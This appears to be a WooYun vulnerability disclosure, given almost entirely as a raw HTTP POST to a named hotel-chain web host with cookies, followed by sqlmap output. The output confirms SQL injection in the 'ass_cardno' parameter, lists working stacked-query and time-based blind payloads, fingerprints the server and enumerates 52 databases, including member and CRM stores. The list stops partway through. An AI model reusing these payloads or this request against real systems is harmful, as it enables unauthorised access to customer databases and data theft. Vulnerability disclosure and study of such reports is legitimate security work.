WooYun.org

POST /home/SearchCent HTTP/1.1
Host: df.wyn88.com:8087
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://df.wyn88.com:8087
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://df.wyn88.com:8087/home/SearchCent
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: LXB_REFER=www.google.com; Hm_lvt_ae8bddcb177c34849249800dc684ac2c=1414414368,1414414373; Hm_lpvt_ae8bddcb177c34849249800dc684ac2c=1414414854
RA-Ver: 2.7.0
RA-Sid: 65E7C870-20141014-044958-a23ba1-b78bcc
ass_cardno=015684&page=1&rows=50

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ass_cardno
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ass_cardno=015684; WAITFOR DELAY '0:0:5'--&page=1&rows=50
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ass_cardno=015684 WAITFOR DELAY '0:0:5'--&page=1&rows=50
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database:    'ftdata'
available databases [52]:
[*] [OperationData]
[*] [WynCmsDB!]
[*] CenterCRM
[*] ConvertToPMSThd
[*] CRM_MPS_duibi
[*] DBStorage
[*] DW_VIENNA
[*] ftdata
[*] jira
[*] master
[*] Member
[*] model
[*] msdb
[*] PmsBase
[*] PmsBase_20140915
[*] PmsBase_Open
[*] PmsBase_Train
[*] PmsBusiness
[*] PmsBusiness_20140915
[*] PmsBusiness_C
[*] PmsBusiness_History
[*] PmsBusiness_Open
[*] PmsBusine